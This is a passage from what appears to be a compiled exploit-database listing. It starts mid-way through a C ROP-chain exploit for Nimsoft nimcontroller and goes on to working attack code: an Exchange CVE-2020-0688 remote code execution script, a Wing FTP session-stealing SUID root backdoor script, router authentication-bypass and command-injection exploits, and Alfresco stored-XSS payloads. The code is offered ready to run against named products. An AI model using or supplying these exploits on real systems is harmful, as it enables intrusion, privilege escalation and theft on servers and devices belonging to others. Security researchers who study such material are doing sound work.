LPCSTR lpModuleName, // ); [0 ... 14] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [24 ... 33] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x00000000000009dd, // offset to "kernel32.dll" 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [37 ... 51] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400b741b, // xchg eax, ecx ; ret 0x0000000140002ef6, // pop rax ; ret 0x000000014015e310, // GetModuleHandleA (0x00000000014015E330-20) 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret [56 ... 72] = 0x0000000140018c42, // ret (17 ROP NOPS) // RAX -> FARPROC GetProcAddressStub( // ( RCX == &addr ) HMODULE hModule, // ( RDX == *module ) lpProcName // ); 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup &hModule) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [83 ... 92] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x0000000000000812, // offset to "virtualprotectstub" 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [96 ... 110] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x0000000140135e39, // mov edx,eax ; mov rbx,qword [rsp+0x30] ; mov rbp,qword [rsp+0x38] ; mov rsi,qword [rsp+0x40] ; mov rdi,qword [rsp+0x48] ; mov eax,edx ; add rsp,0x20 ; pop r12; ret [112 ... 121] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x00000001400d1ab8, // mov rax, r11 ; add rsp, 0x30 ; pop rdi ; ret [123 ... 132] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140111ca1, // xchg rax, r13 ; or al, 0x00 ; ret 0x00000001400cf3d5, // mov rcx, r13 ; mov r13, qword [rsp+0x50] ; shr rsi, cl ; mov rax, rsi ; add rsp, 0x20 ; pop rdi ; pop rsi ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [138 ... 143] = 0x0000000140018c42, // ret 0x0000000140002ef6, // pop rax ; ret 0x000000014015e318, // GetProcAddressStub (0x00000000014015e338-20) 0x00000001400d1161, // call qword ptr [rax+20] ; add rsp, 0x40 ; pop rbx ; ret [147 ... 163] = 0x0000000140018c42, // ret (17 ROP NOPS) // RAX -> BOOL VirtualProtectStub( // ( RCX == *shellcode ) LPVOID lpAddress, // ( RDX == len(shellcode) ) SIZE_T dwSize, // ( R8 == 0x0000000000000040 ) DWORD flNewProtect, // ( R9 == *writeable location ) PDWORD lpflOldProtect, // ); 0x0000000140111c09, // xchg rax, r11 ; or al, 0x00 ; ret (backup *VirtualProtectStub) 0x000000014013d651, // pop r12 ; ret 0x00000001401fb000, // *writeable location ( MEM_COMMIT | PAGE_READWRITE | MEM_IMAGE ) 0x00000001400eba74, // or r9, r12 ; mov rax, r9 ; mov rbx, qword [rsp+0x50] ; mov rbp, qword [rsp+0x58] ; add rsp, 0x20 ; pop r12 ; pop rdi ; pop rsi ; ret [168 ... 177] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret 0x0000000000000000, // 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [187 ... 196] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x000000000000059f, // (offset to *shellcode) 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [200 ... 214] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400b741b, // xchg eax, ecx ; ret 0x00000001400496a2, // pop rdx ; ret 0x00000000000005dc, // dwSize 0x00000001400bc39c, // pop r8 ; ret 0x0000000000000040, // flNewProtect 0x00000001400c5f8a, // mov rax, r11 ; add rsp, 0x38 ; ret (RESTORE VirtualProtectStub) [221 ... 237] = 0x0000000140018c42, // ret (17 ROP NOPS) 0x00000001400a0b55, // call rax ; mov rdp qword ptr [rsp+48h] ; mov rsi, qword ptr [rsp+50h] ; mov rax, rbx ; mov rbx, qword ptr [rsp + 40h] ; add rsp,30h ; pop rdi ; ret [239 ... 258] = 0x0000000140018c42, // ret (20 ROP NOPS) 0x0000000140002ef6, // pop rax ; ret (CALL COMPLETE, "JUMP" INTO OUR SHELLCODE) 0x0000000000000000, // (zero out rax) 0x00000001400eade1, // mov eax, esp ; add rsp, 0x30 ; pop r13 ; pop r12 ; pop rbp ; ret 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // 0x0000000000000000, // [268 ... 277] = 0x0000000140018c42, // ret (10 ROP NOPS) 0x0000000140131643, // pop rcx ; ret 0x0000000000000317, // (offset to our shellcode) 0x000000014006d8d8, // add rax, rcx ; add rsp, 0x38 ; ret [281 ... 295] = 0x0000000140018c42, // ret (15 ROP NOPS) 0x00000001400a9747, // jmp rax [297 ... 316] = 0x0000000140018c42, // ret (do not remove) }; /******************************************************************************************************************** * * * int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]): * * * * This function will generate a rop chain and store it in the buffer passed as the first argument. The return * * value will contain the final ROP chain size. * * * ********************************************************************************************************************/ #define RSP_ROP (sizeof(rsp_alignment_rop_gadgets)/sizeof(int64_t)) #define DEP_ROP (sizeof(dep_bypass_rop_gadgets) / sizeof(int64_t)) int generate_rop_chain(unsigned char *buffer, int gadgets, int64_t rop_gadgets[]) { int i, j, k; int chain_size = 0; for (i = 0; i < gadgets; i++) for (j = 0, k = 0; j < sizeof(rop_gadgets[i]); j++) { *buffer++ = ((rop_gadgets[i]>>k)&0xff); chain_size++; k += 8; } return chain_size; } #define MAX_EXPLOIT_BUFFER 9000 unsigned char *generate_exploit_buffer(unsigned char *buffer) { int r1, r2, c; char rop_chain[20000]; unsigned char *heapflip = "\x3d\xfd\x06\x40\x01\x00\x00\x00"; memset(buffer , 0x41, 1000); // Offset memset(buffer+1000, 0x0F, 33); memcpy(buffer+1033, heapflip, 8); // HeapFlip - pop rsp ; or al, 0x00 ; add rsp, 0x0000000000000448 ; ret memset(buffer+1041, 0x41, 7); // Adjustment for the initial chain /* generate the first rop chain to perform stack alignment */ r1 = generate_rop_chain(rop_chain, RSP_ROP, rsp_alignment_rop_gadgets); memcpy(buffer+1048, rop_chain, r1); c = r1 + 1048; /* adjust for second stage */ memset(buffer+c, 0x57, 631); c += 631; /* generate the second rop chain to perform DEP bypass */ r2 = generate_rop_chain(rop_chain, DEP_ROP, dep_bypass_rop_gadgets); memcpy(buffer+c, rop_chain, r2); c += r2; /* ROP CHAIN MUST BE 3500 BYTES OR EXPLOITATION WILL FAIL */ memset(buffer+c, 0x45, (3500 - (r1 + r2 + 631))); c += (3500 - (r1 + r2 + 631)); memcpy(buffer+c, "kernel32.dll\x00", 13); c += 13; memcpy(buffer+c, "VirtualProtect\x00", 15); c += 15; /* NOPS */ memset(buffer+c, 0x90, 500); c += 500; /* shellcode */ memcpy(buffer+c, shellcode, (sizeof(shellcode)-1)); c += (sizeof(shellcode)-1); /* filler */ memset(buffer+c, 0x10, (8000 - c)); return buffer; } #define MAX_ARGUMENTS 5 void help() { printf("usage: ./singAboutMeImDyingOfThirst [-h] [-t TARGET] [-p PORT] [ARG=VAL]\n\n"); printf("Sing About Me Im Dying Of Thirst - A nimcontroller's worst nightmare\n\n"); printf("optional arguments:\n"); printf(" -h, --help show this help message and exit\n"); printf(" -t TARGET, --target TARGET target host to probe\n"); printf(" -p PORT, --port PORT nimcontroller port\n\n"); printf("examples:\n"); printf(" ./singAboutMeImDyingOfThirst -t 192.168.88.130 -p 48000\n"); exit(0); } int main(int argc, char **argv) { int c; int sock; int rport; NimsoftProbe *probe; struct sockaddr_in srv; char *rhost, *port; char *params[MAX_ARGUMENTS]; unsigned char *exploit_buff; unsigned char buffer[MAX_EXPLOIT_BUFFER]; unsigned char final_buffer[MAX_EXPLOIT_BUFFER] = "directory="; char *exploit[] = { "directory_list", final_buffer }; while (1) { static struct option long_options[] = { {"help", no_argument, 0, 'h'}, {"target", required_argument, 0, 't'}, {"port", required_argument, 0, 'p'}, {0, 0, 0} }; int option_index = 0; c = getopt_long (argc, argv, "ht:p:", long_options, &option_index); if (c == -1) break; switch(c) { case 't': rhost = optarg; break; case 'p': port = optarg; break; case 'h': default: help(); break; } } if (argc < 5) help(); rport = atoi(port); if (check_version(rhost, rport) != 0) { printf("%s Failed to connect to target host\n", PE); exit(-1); } if (check_vulnerability(rhost, rport) != 0) { printf("%s Target failed vulnerability tests\n", PE); exit(-1); } printf("%s Generating evil nimbus probe, we're watching\n", PI); exploit_buff = generate_exploit_buffer(buffer); memcpy(final_buffer+10, exploit_buff, 8000); probe = packet_gen(exploit, 2, 8000); printf("%s Sending evil buffer, R.I.P RIP - wetw0rk\n", PG); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1; srv.sin_addr.s_addr = inet_addr(rhost); srv.sin_port = htons(rport); srv.sin_family = AF_INET; if (connect(sock , (struct sockaddr *)&srv, sizeof(srv)) < 0) return -1; send(sock, probe->packet, probe->length, 0); free(probe); close(sock); }
  7. # Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution # Date: 2020-02-28 # Exploit Author: Photubias # Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688 # [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys # Vendor Homepage: https://www.microsoft.com # Version: MS Exchange Server 2010 SP3 up to 2019 CU4 # Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019 # CVE: CVE-2020-0688 #! /usr/bin/env python # -*- coding: utf-8 -*- ''' Copyright 2020 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name CVE-2020-0688-Photubias.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be This is a native implementation without requirements, written in Python 2. Works equally well on Windows as Linux (as MacOS, probably ;-) Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net Example Output: CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add" [+] Login worked [+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570 [+] Detected OWA version number 15.2.221.12 [+] Vulnerable View State "B97B4E27" detected, this host is vulnerable! [+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]: [+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g== Sending now ... ''' import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass ## STATIC STRINGS # This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations) strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=') # This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability) strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF') def convertInt(iInput, length): return struct.pack("<I" , int(iInput)).encode('hex')[:length] def getYsoserialPayload(sCommand, sSessionId): ## PART1 of the payload to hash strPart1 = strSerTemplate.replace('###payload###', sCommand) ## Fix the length fields #print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand)) #print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand)) strLength1 = convertInt(0x06b8 + len(sCommand),4) strLength2 = convertInt(0x04da + len(sCommand),4) strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:] strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:] ## PART2 of the payload to hash strPart2 = '274e7bb9' for v in sSessionId: strPart2 += binascii.hexlify(v)+'00' strPart2 = binascii.unhexlify(strPart2) strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest() strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac)) return strResult def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar): if not sTarget[-1:] == '/': sTarget += '/' ## Verify Login lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'} try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read() except: print('[!] Error, ' + sTarget + ' not reachable') bLoggedIn = False for cookie in oCookjar: if cookie.name == 'cadata': bLoggedIn = True if not bLoggedIn: print('[-] Login Wrong, too bad') exit(1) print('[+] Login worked') ## Verify Session ID sSessionId = '' sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read() for cookie in oCookjar: if 'SessionId' in cookie.name: sSessionId = cookie.value print('[+] Got ASP.NET Session ID: ' + sSessionId) ## Verify OWA Version sVersion = '' try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2] except: sVersion = 'favicon' if 'favicon' in sVersion: print('[*] Problem, this user has never logged in before (wizard detected)') print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx') exit(1) print('[+] Detected OWA version number '+sVersion) ## Verify ViewStateValue sViewState = '' try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0] except: pass if sViewState == 'B97B4E27': print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!') else: print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState) ans = raw_input('[?] Still want to try the exploit? [y/N]: ') if ans == '' or ans.lower() == 'n': exit(1) return sSessionId, sTarget, sViewState def main(): parser = argparse.ArgumentParser() parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='') parser.add_argument('-u', '--username', help='Username (e.g. joe or joe@contoso.com)', default='') parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='') parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='') args = parser.parse_args() if args.target == '' or args.username == '' or args.command == '': print('[!] Example usage: ') print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c "net user pwned pwned /add"') else: if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ') else: sPassword = args.password ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE oCookjar = cookielib.CookieJar() #oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}) #oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy) oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar)) sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar) ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ') if ans.lower() == 'n': exit(0) sPayLoad = getYsoserialPayload(args.command, sSessionId) print('[+] Got Payload: ' + sPayLoad) sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad) print(' Sending now ...') try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'})) except urllib2.HTTPError, e: if e.code == '500': print('[+] This probably worked (Error Code 500 received)') if __name__ == "__main__": main()
  8. # Exploit Title: Wing FTP Server 6.2.5 - Privilege Escalation # Google Dork: intitle:"Wing FTP Server - Web" # Date: 2020-03-03 # Exploit Author: Cary Hooper # Vendor Homepage: https://www.wftpserver.com # Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz # Version: v6.2.5 and prior # Tested on: Ubuntu 18.04 # CVE: N/A # If $_WINGFTPDIR is the installation directory where Wing FTP was installed, # $_WINGFTPDIR/wftpserver/session/* --> corresponds to user sessions... world readable/writeable (possibly exploitable) # $_WINGFTPDIR/wftpserver/session_admin/* --> corresponds to admin sessions... world readable/writeable. # We can wait for an admin to log in, steal their session, then launch a curl command which executes LUA. # https://www.hooperlabs.xyz/disclosures/cve-2020-9470.php (writeup) #!/bin/bash echo 'Local root privilege escalation for Wing FTP Server (v.6.2.5)' echo 'Exploit by Cary Hooper (@nopantrootdance)' function writeBackdoor() { #this function creates a backdoor program (executes bash) echo " Writing backdoor in $1" echo '#include <stdio.h>' > $1/foobarh00p.c echo '#include <sys/types.h>' >> $1/foobarh00p.c echo '#include <unistd.h>' >> $1/foobarh00p.c echo 'int main(void){setuid(0); setgid(0); system("/bin/bash");}' >> $1/foobarh00p.c gcc -w $1/foobarh00p.c -o $1/foobarh00p } function makeRequest() { #Executes Lua command in admin panel to set the suid bit/chown on our backdoor #Change owner to root curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chown%20root%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html" >/dev/null 2>/dev/null #Make SUID curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chmod%204777%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html" >/dev/null 2>/dev/null } directories=( "/tmp" "/var/tmp" "/dev/shm" ) for dir in "${directories[@]}" do #Check if directories are writeable if [ -w $dir ] then echo "[!] Writeable directory found: $dir" export backdoordir=$dir break else echo " $dir is not writeable..."; fi done writeBackdoor $backdoordir #Look for directory where administrative sessions are handled ($_WINGFTPDIR/session_admin/). echo " Finding the wftpserver directory" export sessiondir=$(find / -name session_admin -type d 2>/dev/null | grep --color=never wftpserver) if [ -z "$sessiondir" ]; then echo "Wing FTP directory not found. Consider looking manually."; exit 1; fi #Note: if no directory is found, look manually for the "wftpserver" directory, or a "wftpserver" binary. Change the variable below and comment out the code above. #export sessiondir="/opt/wftpserver/session_admin" #While loop to wait for an admin session to be established. echo " Waiting for a Wing FTP admin to log in. This may take a while..." count=0 while : ; do if [ "$(ls -A $sessiondir)" ]; then #If a session file exists, the UID_ADMIN cookie is the name of the file. echo "[!] An administrator logged in... stealing their session." export cookie=$(ls -A $sessiondir | cut -d '.' -f1) export ip=$(cat $sessiondir/$cookie.lua | grep ipaddress| cut -d '[' -f4 | cut -d ']' -f1) echo " Changing IP restrictions on the cookie..." cat $sessiondir/$cookie.lua | sed "s/$ip/127.0.0.1/g" > $backdoordir/$cookie.lua cp $backdoordir/$cookie.lua $sessiondir/$cookie.lua rm $backdoordir/$cookie.lua echo "[!] Successfully stole session." #Once found, make the malicious curl request export urldir=$(sed "s/\//\%2F/g" <<<$backdoordir) echo " Making evil request as Wing FTP admin... (backdoor in ${backdoordir})" makeRequest $cookie $urldir break else #Checks every 10 seconds. Outputs date to terminal for user feedback purposes only. sleep 10 let "count+=1" if [ $count -eq 10 ]; then date; fi echo "..." fi done #Check if backdoor was created correctly if [ $(stat -c "%a" $backdoordir/foobarh00p) != "4777" ]; then echo " Something went wrong. Backdoor is not SUID"; exit 1; fi if [ $(stat -c "%U" $backdoordir/foobarh00p) != "root" ]; then echo " Something went wrong. Backdoor is not owned by root"; exit 1; fi echo " Backdoor is now SUID owned by root." echo "[!] Executing backdoor. Cross your fingers..." #Execute the backdoor... root! $backdoordir/foobarh00p
  9. # Exploit Title: Intelbras Wireless N 150Mbps WRN240 - Authentication Bypass (Config Upload) # Date: 2019-11-20 # Exploit Author: Elber Tavares # Vendor Homepage: https://www.intelbras.com/ # Software Link: http://en.intelbras.com.br/node/1033 # Version: Intelbras Wireless N 150Mbps - WRN240 # Tested on: linux, windows # CVE: CVE-2019-19142 Intelbras WRN240 devices do not require authentication to replace the firmware via a POST request to the incoming/Firmware.cfg URI. REFS: https://fireshellsecurity.team/hack-n-routers/ https://github.com/ElberTavares/routers-exploit/ Poc: curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: http://192.168.0.1/userRpm/BakNRestoreRpm.htm" -F data=@config.bin http://192.1680.1/incoming/RouterBakCfgUpload.cfg
  10. # Exploit Title: TP LINK TL-WR849N - Remote Code Execution # Date: 2019-11-20 # Exploit Author: Elber Tavares # Vendor Homepage: https://www.tp-link.com/ # Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware # Version: TL-WR849N 0.9.1 4.16 # Tested on: linux, windows # CVE : CVE-2020-9374 import requests def output(headers,cookies): url = 'http://192.168.0.1/cgi?1' data = '' data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a' data += 'diagnosticsState\x0d\x0a' data += 'X_TP_HopSeq\x0d\x0a' data += 'X_TP_Result\x0d\x0a' r = requests.post(url,data=data,headers=headers,cookies=cookies) saida = r.text filtro = saida.replace(': Name or service not known','') filtro = filtro.replace('[0,0,0,0,0,0]0','') filtro = filtro.replace('diagnosticsState=','') filtro = filtro.replace('X_TP_HopSeq=0','') filtro = filtro.replace('X_TP_Result=','') print(filtro[:-8]) def aceppt(headers,cookies): url = 'http://192.168.0.1/cgi?7' data = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' r = requests.post(url,data=data,headers=headers,cookies=cookies) output(headers,cookies) def inject(command,headers,cookies): url = 'http://192.168.0.1/cgi?2' data = '' data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\x0d\x0a' data += 'maxHopCount=20\x0d\x0a' data += 'timeout=5\x0d\x0a' data += 'numberOfTries=1\x0d\x0a' data += 'host=\"$('+command+')\"\x0d\x0a' data += 'dataBlockSize=64\x0d\x0a' data += 'X_TP_ConnName=ewan_pppoe\x0d\x0a' data += 'diagnosticsState=Requested\x0d\x0a' data += 'X_TP_HopSeq=0\x0d\x0a' r = requests.post(url,data=data,headers=headers,cookies=cookies) aceppt(headers,cookies) def main(): cookies = {"Authorization": "Basic REPLACEBASE64AUTH"} headers = {'Content-Type': 'text/plain', 'Referer': 'http://192.168.0.1/mainFrame.htm'} while True: command = input('$ ') inject(command,headers,cookies) main()
  11. # Exploit Title: Alfresco 5.2.4 - Persistent Cross-Site Scripting # Date: 2020-03-02 # Exploit Author: Romain LOISEL & Alexandre ZANNI (https://pwn.by/noraj) - Pentesters from Orange Cyberdefense France # Vendor Homepage: https://www.alfresco.com/ # Software Link: https://www.alfresco.com/ecm-software # Version: Alfresco before 5.2.4 # Tested on: 5.2.4 # CVE : CVE-2020-8776, CVE-2020-8777, CVE-2020-8778 # Security advisory: https://gitlab.com/snippets/1937042 ### Stored XSS n°1 - Document URL - CVE-2020-8776 (found by Alexandre ZANNI) Each file has a set of properties than can be edited by any authenticated user that have write access on the project or the file. The **URL** property of the file provided by the user is injected in the `href` attribute of the HTML link without a proper escaping. - Where? In URL property - Payload: `" onmouseover="alert(document.cookie)"` - Details: On the document explorer, the value is injected in a span tag. But on the detailed view of the file, it's inserted in the `href` attribute of a `a` tag. `http://` is prefixed before the payload provided by the user but can be bypassed. The generated vulnerable link will look like that: ```html <a target="_blank" href="http://" onmouseover="alert(document.cookie)" "=" ">http://" onmouseover="alert(document.cookie)"</a> ``` - Privileges: It requires write privileges to store it, any user with read access can see it. - Steps to reproduce: 1. Go to _Document Library_ 2. Upload a file or click _Edit properties_ on an existing file 3. Enter the payload in the URL property 4. Click on the file title to go on the detailed page of the file 5. Hover the displayed link to trigger the XSS ### Stored XSS n°2 - User profile photo upload / Document viewing - CVE-2020-8777 (found by Alexandre ZANNI) There is no file restriction for photo uploading in the user profile page. Then the profile picture can be seen in the browser. - Where? In user profile photo - Payload: ```xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,200 200,200 200,0" fill="#FF6804" stroke="#000000"/> <script type="text/javascript"> alert('XSS - Orange Cyberdefense'); </script> </svg> ``` - Details: The XSS is not triggerred everywhere, only with the _View in browser_ feature. - Privileges: Any authenticated user can store it or trigger it. - Steps to reproduce: 1. Go to your user profile page (`/share/page/user/<username>/profile`) 2. In the _Photo_ section, click _Upload_ and 